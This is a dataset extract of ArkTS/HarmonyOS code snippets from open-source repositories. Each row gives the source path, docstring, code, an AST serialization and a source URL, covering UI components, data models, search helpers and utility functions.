openharmony/arkui_ace_engine | 30c7d1ee12fbedf0fabece54291d75897e2ad44f | frameworks/bridge/arkts_frontend/koala_projects/arkoala-arkts/shopping/user/src/ets/pages/detailPage/detail.ets | arkts | Detail | import mediaquery from '@ohos.mediaquery'; | @Entry
@Component
export struct Detail {
@State width1: number = 10
@State ratio: number = 1
@State active: boolean = false
@State swiper: Array<SwiperModel> = swiperData
@State phoneType: Array<PhoneTypeModel> = phoneTypeData
@State showImg: Array<ShowImgModel> = showImgData
@State recommendData: Array<R... | AST#decorated_export_declaration#Left AST#decorator#Left @ Entry AST#decorator#Right AST#decorator#Left @ Component AST#decorator#Right export struct Detail AST#component_body#Left { AST#property_declaration#Left AST#decorator#Left @ State AST#decorator#Right width1 : AST#type_annotation#Left AST#primary_type#Left numb... | @Entry
@Component
export struct Detail {
@State width1: number = 10
@State ratio: number = 1
@State active: boolean = false
@State swiper: Array<SwiperModel> = swiperData
@State phoneType: Array<PhoneTypeModel> = phoneTypeData
@State showImg: Array<ShowImgModel> = showImgData
@State recommendData: Array<R... | https://github.com/openharmony/arkui_ace_engine/blob/30c7d1ee12fbedf0fabece54291d75897e2ad44f/frameworks/bridge/arkts_frontend/koala_projects/arkoala-arkts/shopping/user/src/ets/pages/detailPage/detail.ets#L23-L42 | ec4cb116253c00e72674d774bc676aae3fc4bffb | gitee |
2763981847/Clock-Alarm.git | 8949bedddb7d011021848196735f30ffe2bd1daf | entry/src/main/ets/view/Detail/SettingItem.ets | arkts | showSettingDialog | 打开设置对话框的函数 | private showSettingDialog(sType: AlarmSettingTypes) {
switch (sType) {
case AlarmSettingTypes.REPEAT:
this.repeatDialogController.open();
break;
case AlarmSettingTypes.ALARM_NAME:
this.reNameDialogController.open(); | AST#method_declaration#Left private showSettingDialog AST#parameter_list#Left ( AST#parameter#Left sType : AST#type_annotation#Left AST#primary_type#Left AlarmSettingTypes AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right AST#ERROR#Left { AST#statement#Left AST#expression_s... | private showSettingDialog(sType: AlarmSettingTypes) {
switch (sType) {
case AlarmSettingTypes.REPEAT:
this.repeatDialogController.open();
break;
case AlarmSettingTypes.ALARM_NAME:
this.reNameDialogController.open(); | https://github.com/2763981847/Clock-Alarm.git/blob/8949bedddb7d011021848196735f30ffe2bd1daf/entry/src/main/ets/view/Detail/SettingItem.ets#L31-L37 | 61b4f96fcaf2fc0c8f238040c03ebe9d575c8845 | github |
openharmony/codelabs | d899f32a52b2ae0dfdbb86e34e8d94645b5d4090 | Media/AudioPlayer/entry/src/main/ets/common/constants/CommonConstants.ets | arkts | Play state. | export enum PlayState {
PLAY = 0,
PAUSE = 1
} | AST#export_declaration#Left export AST#enum_declaration#Left enum PlayState AST#enum_body#Left { AST#enum_member#Left PLAY = AST#expression#Left 0 AST#expression#Right AST#enum_member#Right , AST#enum_member#Left PAUSE = AST#expression#Left 1 AST#expression#Right AST#enum_member#Right } AST#enum_body#Right AST#enum_dec... | export enum PlayState {
PLAY = 0,
PAUSE = 1
} | https://github.com/openharmony/codelabs/blob/d899f32a52b2ae0dfdbb86e34e8d94645b5d4090/Media/AudioPlayer/entry/src/main/ets/common/constants/CommonConstants.ets#L195-L198 | e86908d1b53759fccd7df4b37d3a514576ad3d76 | gitee | |
harmonyos/samples | f5d967efaa7666550ee3252d118c3c73a77686f5 | HarmonyOS_NEXT/ArkUI/ComponentCollection/entry/src/main/ets/model/CategoricalDataType.ets | arkts | Copyright (c) 2022 Huawei Device Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License")
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, softw... | export interface FirstLevelCategory {
childNodes: SecondLevelCategory[] | ThirdLevelCategory[],
selectedImage: Resource, // The icon for the first-level category is selected
unselectedImage: Resource, // The icon for the first-level category is not selected
tabBarName: Resource // First-level category title
} | AST#export_declaration#Left export AST#interface_declaration#Left interface FirstLevelCategory AST#object_type#Left { AST#type_member#Left childNodes : AST#type_annotation#Left AST#union_type#Left AST#primary_type#Left AST#array_type#Left SecondLevelCategory [ ] AST#array_type#Right AST#primary_type#Right | AST#primary... | export interface FirstLevelCategory {
childNodes: SecondLevelCategory[] | ThirdLevelCategory[],
selectedImage: Resource,
unselectedImage: Resource,
tabBarName: Resource
} | https://github.com/harmonyos/samples/blob/f5d967efaa7666550ee3252d118c3c73a77686f5/HarmonyOS_NEXT/ArkUI/ComponentCollection/entry/src/main/ets/model/CategoricalDataType.ets#L16-L21 | a2f65244a399ba57f2be5b5f67ca30e370adb431 | gitee | |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/SystemFeature/ApplicationModels/Launcher/desktop/src/main/ets/default/components/LauncherGridLayout.ets | arkts | createCardAndInstall | 点击桌面占位图触发免安装与替换桌面卡片的逻辑 | async createCardAndInstall(item: GridLayoutItemInfo): Promise<void> {
// 包名需要修改 'com.samples.asorangeshopping'
let currentBundleFormsInfo: Array<CardItemInfo> = await FormModel.getFormsInfoByBundleName(SHOPPING_BUNDLE)
let formCardItem = new FormCardItem();
formCardItem.cardId = 0;
formCardItem.appN... | AST#method_declaration#Left async createCardAndInstall AST#parameter_list#Left ( AST#parameter#Left item : AST#type_annotation#Left AST#primary_type#Left GridLayoutItemInfo AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AS... | async createCardAndInstall(item: GridLayoutItemInfo): Promise<void> {
let currentBundleFormsInfo: Array<CardItemInfo> = await FormModel.getFormsInfoByBundleName(SHOPPING_BUNDLE)
let formCardItem = new FormCardItem();
formCardItem.cardId = 0;
formCardItem.appName = currentBundleFormsInfo[0].appName!... | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/SystemFeature/ApplicationModels/Launcher/desktop/src/main/ets/default/components/LauncherGridLayout.ets#L105-L134 | 86b1943f367641ec014398777cecac1fbf8f4ead | gitee |
openharmony/codelabs | d899f32a52b2ae0dfdbb86e34e8d94645b5d4090 | ETSUI/RankingDemo/entry/src/main/ets/common/constants/Constants.ets | arkts | The title of TitleComponent. | export const TITLE: Resource = $r('app.string.title'); | AST#export_declaration#Left export AST#variable_declaration#Left const AST#variable_declarator#Left TITLE : AST#type_annotation#Left AST#primary_type#Left Resource AST#primary_type#Right AST#type_annotation#Right = AST#expression#Left AST#resource_expression#Left $r ( AST#expression#Left 'app.string.title' AST#expressi... | export const TITLE: Resource = $r('app.string.title'); | https://github.com/openharmony/codelabs/blob/d899f32a52b2ae0dfdbb86e34e8d94645b5d4090/ETSUI/RankingDemo/entry/src/main/ets/common/constants/Constants.ets#L58-L58 | 7bf4e3884cffffdcfb3794c1be82fc4165dcfe8f | gitee | |
tongyuyan/harmony-utils | 697472f011a43e783eeefaa28ef9d713c4171726 | harmony_utils/src/main/ets/utils/LocationUtil.ets | arkts | onLocationChange | 开启位置变化订阅,并发起定位请求。
@param request
@param callBack
@returns 失败返回错误码,成功返回0。 | static onLocationChange(request: geoLocationManager.LocationRequest | geoLocationManager.ContinuousLocationRequest,
callBack: Callback<geoLocationManager.Location>): number {
try {
geoLocationManager.on('locationChange', request, callBack);
return 0; //成功返回-0
} catch (err) {
LogUtil.error(... | AST#method_declaration#Left static onLocationChange AST#parameter_list#Left ( AST#parameter#Left request : AST#type_annotation#Left AST#union_type#Left AST#primary_type#Left AST#qualified_type#Left geoLocationManager . LocationRequest AST#qualified_type#Right AST#primary_type#Right | AST#primary_type#Left AST#qualified... | static onLocationChange(request: geoLocationManager.LocationRequest | geoLocationManager.ContinuousLocationRequest,
callBack: Callback<geoLocationManager.Location>): number {
try {
geoLocationManager.on('locationChange', request, callBack);
return 0;
} catch (err) {
LogUtil.error(err);
... | https://github.com/tongyuyan/harmony-utils/blob/697472f011a43e783eeefaa28ef9d713c4171726/harmony_utils/src/main/ets/utils/LocationUtil.ets#L116-L126 | 2bbc0d787223c3103e019e50a6c4cf52781006b4 | gitee |
openharmony/codelabs | d899f32a52b2ae0dfdbb86e34e8d94645b5d4090 | Media/ImageEdit/entry/src/main/ets/viewModel/Ratio.ets | arkts | Copyright (c) 2023 Huawei Device Co., Ltd.
Licensed under the Apache License,Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, softw... | export class Ratio {
/**
* Rect width.
*/
private w: number;
/**
* Rect height.
*/
private h: number;
/**
* Constructor.
* @param w
* @param h
*/
constructor(w: number, h: number) {
this.w = w;
this.h = h;
}
/**
* Set value.
* @param w
* @param h
*/
set(... | AST#export_declaration#Left export AST#class_declaration#Left class Ratio AST#class_body#Left { /**
* Rect width.
*/ AST#property_declaration#Left private w : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right ; AST#property_declaration#Right /**
* Rect heigh... | export class Ratio {
private w: number;
private h: number;
constructor(w: number, h: number) {
this.w = w;
this.h = h;
}
set(w: number, h: number): void {
this.w = w;
this.h = h;
}
getW(): number {
return this.w;
}
getH(): number {
return this.h;
}
... | https://github.com/openharmony/codelabs/blob/d899f32a52b2ae0dfdbb86e34e8d94645b5d4090/Media/ImageEdit/entry/src/main/ets/viewModel/Ratio.ets#L16-L78 | 0d0849dd2abca2784f87fe5554771c8359206b9c | gitee | |
bigbear20240612/birthday_reminder.git | 647c411a6619affd42eb5d163ff18db4b34b27ff | entry/src/main/ets/pages/Index.ets | arkts | buildMonthBirthdayOverview | 本月生日概览 | @Builder
buildMonthBirthdayOverview() {
Column({ space: 16 }) {
Row() {
Text('本月生日')
.fontSize(18)
.fontWeight(FontWeight.Medium)
.fontColor(this.COLORS.textPrimary)
.layoutWeight(1)
Text(`${this.getMonthBirthdays().length} 人`)
.fontSize(14)... | AST#method_declaration#Left AST#decorator#Left @ Builder AST#decorator#Right buildMonthBirthdayOverview AST#parameter_list#Left ( ) AST#parameter_list#Right AST#builder_function_body#Left { AST#arkts_ui_element#Left AST#ui_element_with_modifiers#Left AST#ui_component#Left Column ( AST#component_parameters#Left { AST#co... | @Builder
buildMonthBirthdayOverview() {
Column({ space: 16 }) {
Row() {
Text('本月生日')
.fontSize(18)
.fontWeight(FontWeight.Medium)
.fontColor(this.COLORS.textPrimary)
.layoutWeight(1)
Text(`${this.getMonthBirthdays().length} 人`)
.fontSize(14)... | https://github.com/bigbear20240612/birthday_reminder.git/blob/647c411a6619affd42eb5d163ff18db4b34b27ff/entry/src/main/ets/pages/Index.ets#L2932-L2983 | f63eb6436079d39be2a1e2fa767486410e77adf1 | github |
hqj201013136012/HarmonyMiliUiPro.git | 0625e681e07b771998a0ac4430824627d0eb60ed | entry/src/main/ets/viewmodel/SecurityData.ets | arkts | 安防模式轮播图实体 | export class SecurityModeBannerClass {
id: string = '';
types: SecurityModeItemType[]
constructor | AST#export_declaration#Left export AST#ERROR#Left class SecurityModeBannerClass { AST#property_declaration#Left id : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right = AST#expression#Left '' AST#expression#Right ; AST#property_declaration#Right types : AST#primary_t... | export class SecurityModeBannerClass {
id: string = '';
types: SecurityModeItemType[]
constructor | https://github.com/hqj201013136012/HarmonyMiliUiPro.git/blob/0625e681e07b771998a0ac4430824627d0eb60ed/entry/src/main/ets/viewmodel/SecurityData.ets#L30-L34 | 61c407bf57a82b2ed0664b09938a179e2b065193 | github | |
openharmony-tpc/ohos_mpchart | 4fb43a7137320ef2fee2634598f53d93975dfb4a | library/src/main/ets/components/data/LineScatterCandleRadarDataSet.ets | arkts | isDashedHighlightLineEnabled | Returns true if the dashed-line effect is enabled for highlight lines, false if not.
Default: disabled
@return | public isDashedHighlightLineEnabled(): boolean {
return!this.mHighlightDashPathEffect ? false : true;
} | AST#method_declaration#Left public isDashedHighlightLineEnabled AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left boolean AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#Left AST#return_statement#Left return AST#expression#Lef... | public isDashedHighlightLineEnabled(): boolean {
return!this.mHighlightDashPathEffect ? false : true;
} | https://github.com/openharmony-tpc/ohos_mpchart/blob/4fb43a7137320ef2fee2634598f53d93975dfb4a/library/src/main/ets/components/data/LineScatterCandleRadarDataSet.ets#L106-L108 | 68ad602d813321972ad76d02f18d5fc0c257819f | gitee |
didi/dimina.git | 7ad9d89af58cd54e624b2e3d3eb14801cc8e05d2 | harmony/dimina/src/main/ets/Bundle/Util/DMPFileManager.ets | arkts | clearJSAppHistoryBundle | 保留3个版本 | async clearJSAppHistoryBundle(bundleLoadInfo: DMPBundleLoadInfo) {
let dir = this.getJSAppDir(bundleLoadInfo.appId);
await DMPVersionUtil.clearHistory(bundleLoadInfo.cacheJSAppBundleConfig?.versionCode.toString() ?? '', dir);
} | AST#method_declaration#Left async clearJSAppHistoryBundle AST#parameter_list#Left ( AST#parameter#Left bundleLoadInfo : AST#type_annotation#Left AST#primary_type#Left DMPBundleLoadInfo AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right AST#block_statement#Left { AST#statemen... | async clearJSAppHistoryBundle(bundleLoadInfo: DMPBundleLoadInfo) {
let dir = this.getJSAppDir(bundleLoadInfo.appId);
await DMPVersionUtil.clearHistory(bundleLoadInfo.cacheJSAppBundleConfig?.versionCode.toString() ?? '', dir);
} | https://github.com/didi/dimina.git/blob/7ad9d89af58cd54e624b2e3d3eb14801cc8e05d2/harmony/dimina/src/main/ets/Bundle/Util/DMPFileManager.ets#L151-L154 | 21a4eef4ca658ec7aae85f2838ace0fe83c28e9e | github |
Joker-x-dev/HarmonyKit.git | f97197ce157df7f303244fba42e34918306dfb08 | core/model/src/main/ets/request/GoodsSearchRequest.ets | arkts | @param {Partial<GoodsSearchRequest>} init - 初始化数据 | constructor(init?: Partial<GoodsSearchRequest>) {
if (!init) {
return;
}
this.page = init.page ?? this.page;
this.size = init.size ?? this.size;
} | AST#constructor_declaration#Left constructor AST#parameter_list#Left ( AST#parameter#Left init ? : AST#type_annotation#Left AST#primary_type#Left AST#generic_type#Left Partial AST#type_arguments#Left < AST#type_annotation#Left AST#primary_type#Left GoodsSearchRequest AST#primary_type#Right AST#type_annotation#Right > A... | constructor(init?: Partial<GoodsSearchRequest>) {
if (!init) {
return;
}
this.page = init.page ?? this.page;
this.size = init.size ?? this.size;
} | https://github.com/Joker-x-dev/HarmonyKit.git/blob/f97197ce157df7f303244fba42e34918306dfb08/core/model/src/main/ets/request/GoodsSearchRequest.ets#L18-L24 | 3da082ba874096201cd3d5c6eec74243f8f649c8 | github | |
buqiuz/Account.git | b843a38c24a833a9a4386f63cffec5fa5dadc674 | oh_modules/.ohpm/@ohos+mpchart@3.0.15/oh_modules/@ohos/mpchart/src/main/ets/components/data/DataSet.ets | arkts | The DataSet class represents one group or type of entries (Entry) in the
Chart that belong together. It is designed to logically separate different
groups of values inside the Chart (e.g. the values for a specific line in the
LineChart, or the values of a specific group of bars in the BarChart). | export abstract class DataSet<T extends EntryOhos> extends BaseDataSet<T> {
/**
* the entries that this DataSet represents / holds together
*/
protected mEntries: JArrayList<T> | null = new JArrayList<T>();
/**
* maximum y-value in the value array
*/
protected mYMax: number = -Number.MAX_VALUE;
/*... | AST#export_declaration#Left export AST#class_declaration#Left abstract class DataSet AST#type_parameters#Left < AST#type_parameter#Left T extends AST#type_annotation#Left AST#primary_type#Left EntryOhos AST#primary_type#Right AST#type_annotation#Right AST#type_parameter#Right > AST#type_parameters#Right extends AST#typ... | export abstract class DataSet<T extends EntryOhos> extends BaseDataSet<T> {
protected mEntries: JArrayList<T> | null = new JArrayList<T>();
protected mYMax: number = -Number.MAX_VALUE;
protected mYMin: number = Number.MAX_VALUE;
protected mXMax: number = -Number.MAX_VALUE;
protected mXMin: numb... | https://github.com/buqiuz/Account.git/blob/b843a38c24a833a9a4386f63cffec5fa5dadc674/oh_modules/.ohpm/@ohos+mpchart@3.0.15/oh_modules/@ohos/mpchart/src/main/ets/components/data/DataSet.ets#L29-L440 | 3e3b7d81e7f75e9cbaddf526e393a72c5b447b31 | github | |
openharmony/interface_sdk-js | c349adc73e2ec1f61f6fca489b5af059e3ed6999 | api/@ohos.arkui.advanced.TabTitleBar.d.ets | arkts | Declaration of the tab item.
@syscap SystemCapability.ArkUI.ArkUI.Full
@since 10
Declaration of the tab item.
@syscap SystemCapability.ArkUI.ArkUI.Full
@atomicservice
@since 11 | export declare class TabTitleBarTabItem {
/**
* Text description for this tab item.
* @type { ResourceStr }.
* @syscap SystemCapability.ArkUI.ArkUI.Full
* @since 10
*/
/**
* Text description for this tab item.
* @type { ResourceStr }.
* @syscap SystemCapability.ArkUI.ArkUI.Full
* @atomics... | AST#export_declaration#Left export AST#ERROR#Left declare AST#ERROR#Right AST#class_declaration#Left class TabTitleBarTabItem AST#class_body#Left { /**
* Text description for this tab item.
* @type { ResourceStr }.
* @syscap SystemCapability.ArkUI.ArkUI.Full
* @since 10
*/ /**
* Text description for t... | export declare class TabTitleBarTabItem {
title: ResourceStr;
icon?: ResourceStr;
symbolStyle?: SymbolGlyphModifier;
} | https://github.com/openharmony/interface_sdk-js/blob/c349adc73e2ec1f61f6fca489b5af059e3ed6999/api/@ohos.arkui.advanced.TabTitleBar.d.ets#L140-L179 | 1585b3fe743bfc31a799d04ac0bc40518fb97ffd | gitee | |
yycy134679/FoodieHarmony.git | e6971f0a8f7574ae278d02eb5c057e57e667dab5 | entry/src/main/ets/pages/Index.ets | arkts | TabBuilder | 自定义标签栏构建器
@param index 标签索引
@param title 标签标题
@param normalIcon 未选中图标
@param selectedIcon 选中图标 | @Builder
TabBuilder(index: number, title: string, normalIcon: Resource, selectedIcon: Resource) {
Column() {
SymbolGlyph(this.currentTabIndex === index ? selectedIcon : normalIcon)
.fontSize(24)
.fontColor([this.currentTabIndex === index ? $r('app.color.tab_active') : $r('app.color.tab_inact... | AST#method_declaration#Left AST#decorator#Left @ Builder AST#decorator#Right TabBuilder AST#parameter_list#Left ( AST#parameter#Left index : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left title : AST#type_annotation#Left AS... | @Builder
TabBuilder(index: number, title: string, normalIcon: Resource, selectedIcon: Resource) {
Column() {
SymbolGlyph(this.currentTabIndex === index ? selectedIcon : normalIcon)
.fontSize(24)
.fontColor([this.currentTabIndex === index ? $r('app.color.tab_active') : $r('app.color.tab_inact... | https://github.com/yycy134679/FoodieHarmony.git/blob/e6971f0a8f7574ae278d02eb5c057e57e667dab5/entry/src/main/ets/pages/Index.ets#L118-L135 | fecab6fb70949772dfabf75ef54a0477588dd32f | github |
salehelper/algorithm_arkts.git | 61af15272038646775a4745fca98a48ba89e1f4e | entry/src/main/ets/search/InterpolationSearch.ets | arkts | findFirst | 查找第一个等于目标值的元素
@param arr 已排序的数组
@param target 目标值
@returns 第一个等于目标值的元素索引,如果不存在则返回-1 | public static findFirst(arr: number[], target: number): number {
if (!arr || arr.length === 0) {
return -1;
}
let left = 0;
let right = arr.length - 1;
let result = -1;
while (left <= right && target >= arr[left] && target <= arr[right]) {
if (left === right) {
if (arr[left... | AST#method_declaration#Left public static findFirst AST#parameter_list#Left ( AST#parameter#Left arr : AST#type_annotation#Left AST#primary_type#Left AST#array_type#Left number [ ] AST#array_type#Right AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left target : AST#type_annotation... | public static findFirst(arr: number[], target: number): number {
if (!arr || arr.length === 0) {
return -1;
}
let left = 0;
let right = arr.length - 1;
let result = -1;
while (left <= right && target >= arr[left] && target <= arr[right]) {
if (left === right) {
if (arr[left... | https://github.com/salehelper/algorithm_arkts.git/blob/61af15272038646775a4745fca98a48ba89e1f4e/entry/src/main/ets/search/InterpolationSearch.ets#L101-L131 | b332bceab84562ad23a05f06b5623b1df222536c | github |
Vinson0709/arkdemo.git | 793491fe04b387f55dadfef86b30e28d0535d994 | entry/src/main/ets/pages/Tab.ets | arkts | bodyBuilder | 内容展示(自定义builder渲染) | @Builder bodyBuilder() {
Column(){
// 顶部 TabBar
Text('顶部 TabBar')
.fontSize(14)
.margin({ top:20})
Row() {
Tabs({ barPosition: BarPosition.Start, controller: this.topController }){
ForEach(this.colorData, (item: ColorItem, index: number) => {
TabConten... | AST#method_declaration#Left AST#decorator#Left @ Builder AST#decorator#Right bodyBuilder AST#parameter_list#Left ( ) AST#parameter_list#Right AST#builder_function_body#Left { AST#arkts_ui_element#Left AST#ui_element_with_modifiers#Left AST#ui_component#Left Column ( ) AST#container_content_body#Left { // 顶部 TabBar AST#... | @Builder bodyBuilder() {
Column(){
Text('顶部 TabBar')
.fontSize(14)
.margin({ top:20})
Row() {
Tabs({ barPosition: BarPosition.Start, controller: this.topController }){
ForEach(this.colorData, (item: ColorItem, index: number) => {
TabContent(){
... | https://github.com/Vinson0709/arkdemo.git/blob/793491fe04b387f55dadfef86b30e28d0535d994/entry/src/main/ets/pages/Tab.ets#L134-L248 | 657fd93882a21991feda62012711ef1cc56d4e5e | github |
KoStudio/ArkTS-WordTree.git | 78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324 | entry/src/main/ets/models/managers/userdata/CosDownloaderUserData.ets | arkts | MARK: - 腾讯云上传下载服务类 | export class CosDownloaderUserData {
// MARK: - 单例实例
private static instance: CosDownloaderUserData = new CosDownloaderUserData();
// MARK: - 构造函数
private constructor() {
// 初始化腾讯云服务
CosService.shared;
}
// 获取单例实例
public static get shared(): CosDownloaderUserData {
return this.instance;
}
... | AST#export_declaration#Left export AST#class_declaration#Left class CosDownloaderUserData AST#class_body#Left { // MARK: - 单例实例 AST#property_declaration#Left private static instance : AST#type_annotation#Left AST#primary_type#Left CosDownloaderUserData AST#primary_type#Right AST#type_annotation#Right = AST#expression#L... | export class CosDownloaderUserData {
private static instance: CosDownloaderUserData = new CosDownloaderUserData();
private constructor() {
CosService.shared;
}
public static get shared(): CosDownloaderUserData {
return this.instance;
}
public uploadUserData(
filePath: stri... | https://github.com/KoStudio/ArkTS-WordTree.git/blob/78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324/entry/src/main/ets/models/managers/userdata/CosDownloaderUserData.ets#L15-L150 | cf0818c590e0c57f5b2e3b681dcaf9faa3c1de78 | github | |
openharmony/interface_sdk-js | c349adc73e2ec1f61f6fca489b5af059e3ed6999 | api/arkui/component/lazyForEach.d.ets | arkts | Defines reload operation.
@interface DataReloadOperation
@syscap SystemCapability.ArkUI.ArkUI.Full
@crossplatform
@atomicservice
@since 20 | export interface DataReloadOperation {
/**
* How to operate reload data.
*
* @type { DataOperationType.RELOAD }
* @syscap SystemCapability.ArkUI.ArkUI.Full
* @crossplatform
* @atomicservice
* @since 20
*/
type: DataOperationType;
} | AST#export_declaration#Left export AST#interface_declaration#Left interface DataReloadOperation AST#object_type#Left { /**
* How to operate reload data.
*
* @type { DataOperationType.RELOAD }
* @syscap SystemCapability.ArkUI.ArkUI.Full
* @crossplatform
* @atomicservice
* @since 20
... | export interface DataReloadOperation {
type: DataOperationType;
} | https://github.com/openharmony/interface_sdk-js/blob/c349adc73e2ec1f61f6fca489b5af059e3ed6999/api/arkui/component/lazyForEach.d.ets#L422-L433 | b283b12707c749764a5effd63bb7399c8a198ef6 | gitee | |
tongyuyan/harmony-utils | 697472f011a43e783eeefaa28ef9d713c4171726 | harmony_utils/src/main/ets/utils/ResUtil.ets | arkts | getColorByName | 获取指定资源名称对应的颜色值(十进制)
@param resName 资源名称
@returns | static async getColorByName(resName: string): Promise<number> {
return ResUtil.getResourceManager().getColorByName(resName);
} | AST#method_declaration#Left static async getColorByName AST#parameter_list#Left ( AST#parameter#Left resName : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AST#generi... | static async getColorByName(resName: string): Promise<number> {
return ResUtil.getResourceManager().getColorByName(resName);
} | https://github.com/tongyuyan/harmony-utils/blob/697472f011a43e783eeefaa28ef9d713c4171726/harmony_utils/src/main/ets/utils/ResUtil.ets#L272-L274 | ab4989c4dcc5d48464315973dd788df1595c86c9 | gitee |
Piagari/arkts_example.git | a63b868eaa2a50dc480d487b84c4650cc6a40fc8 | hmos_app-main/hmos_app-main/MusicHome-master/features/live/src/main/ets/viewmodel/LiveStream.ets | arkts | Copyright (c) 2023 Huawei Device Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... | export class LiveStream {
/**
* Live stream title.
*/
title: Resource;
/**
* Introduction to the live stream.
*/
liveIntroduction: Resource;
/**
* Background picture of the live stream.
*/
liveBackground: Resource;
constructor(title: Resource, liveIntroduction: Resource, liveBackgroun... | AST#export_declaration#Left export AST#class_declaration#Left class LiveStream AST#class_body#Left { /**
* Live stream title.
*/ AST#property_declaration#Left title : AST#type_annotation#Left AST#primary_type#Left Resource AST#primary_type#Right AST#type_annotation#Right ; AST#property_declaration#Right /**
* ... | export class LiveStream {
title: Resource;
liveIntroduction: Resource;
liveBackground: Resource;
constructor(title: Resource, liveIntroduction: Resource, liveBackground: Resource) {
this.title = title;
this.liveIntroduction = liveIntroduction;
this.liveBackground = liveBackground;
}
} | https://github.com/Piagari/arkts_example.git/blob/a63b868eaa2a50dc480d487b84c4650cc6a40fc8/hmos_app-main/hmos_app-main/MusicHome-master/features/live/src/main/ets/viewmodel/LiveStream.ets#L16-L37 | b3f7a2b1ff1e6f615024d021ee74bbacb4aec36f | github | |
zqaini002/YaoYaoLingXian.git | 5095b12cbeea524a87c42d0824b1702978843d39 | YaoYaoLingXian/entry/src/main/ets/utils/TimeUtils.ets | arkts | 时间相关工具类
获取当前时间段的问候语
@returns 根据当前时间返回适当的问候语 | export function getTimeOfDay(): string {
const hour = new Date().getHours();
if (hour >= 0 && hour < 6) {
return '凌晨';
} else if (hour >= 6 && hour < 9) {
return '早上';
} else if (hour >= 9 && hour < 12) {
return '上午';
} else if (hour >= 12 && hour < 14) {
return '中午';
} else if (hour >= 1... | AST#export_declaration#Left export AST#function_declaration#Left function getTimeOfDay AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#Left AST#variable_declaration#Left... | export function getTimeOfDay(): string {
const hour = new Date().getHours();
if (hour >= 0 && hour < 6) {
return '凌晨';
} else if (hour >= 6 && hour < 9) {
return '早上';
} else if (hour >= 9 && hour < 12) {
return '上午';
} else if (hour >= 12 && hour < 14) {
return '中午';
} else if (hour >= 1... | https://github.com/zqaini002/YaoYaoLingXian.git/blob/5095b12cbeea524a87c42d0824b1702978843d39/YaoYaoLingXian/entry/src/main/ets/utils/TimeUtils.ets#L9-L27 | 5f5633d6b3a7e98d9a7906655125ad8dd8ae2e5f | github | |
harmonyos-cases/cases | eccdb71f1cee10fa6ff955e16c454c1b59d3ae13 | CommonAppDevelopment/feature/textoverflow/src/main/ets/components/model/TextFlowMode.ets | arkts | getParentData | 获取指定数据项 | getParentData(parentId: string): CommentModel | null {
for (let i = 0; i < this.comments.length; i++) {
if (this.comments[i].id === parentId) {
return this.comments[i];
}
}
return null;
} | AST#method_declaration#Left getParentData AST#parameter_list#Left ( AST#parameter#Left parentId : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#union_type#Left AST#primary_type#Left Com... | getParentData(parentId: string): CommentModel | null {
for (let i = 0; i < this.comments.length; i++) {
if (this.comments[i].id === parentId) {
return this.comments[i];
}
}
return null;
} | https://github.com/harmonyos-cases/cases/blob/eccdb71f1cee10fa6ff955e16c454c1b59d3ae13/CommonAppDevelopment/feature/textoverflow/src/main/ets/components/model/TextFlowMode.ets#L130-L137 | 8e9125b28246024884a8b5446ac0c1157f01d05b | gitee |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.